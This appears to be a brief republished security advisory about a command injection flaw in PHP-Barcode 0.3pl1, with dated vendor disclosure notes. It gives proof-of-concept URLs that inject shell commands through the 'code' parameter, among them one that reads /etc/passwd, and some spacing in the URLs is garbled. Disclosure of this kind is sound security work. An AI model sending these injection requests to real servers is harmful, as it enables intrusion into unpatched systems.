PHP-Barcode 0.3pl1 Remote Code Execution

 

PHP-Barcode 0.3pl1 Remote Code Execution

 

The input passed to the code parameter is not sanitized and is used on

A popen () function. This allows remote command execution and also

Allows to see environment vars:

 

Windows

 

Http://www.bkjia.com/php-barcode/barcode. php? Code = % TMP %

 

Linux

 

Http://www.bkjia.com/php-barcode/barcode. php? Code = 012 $ PATH $ d

Http://www.bkjia.com/php-barcode/barcode. php? Code = 'uname % 20-a'

Http://www.bkjia.com/php-barcode/barcode. php? Code = 'Tail % 20-1% 20/etc/passwd'

 

Vendor:

Http://www.ashberg.de/php-barcode/download/

 

Vendor informed:

July 6/2011

 

Vendor acknowledgement:

July 7/2011

 

Fix not available from vendor.

 

-Beford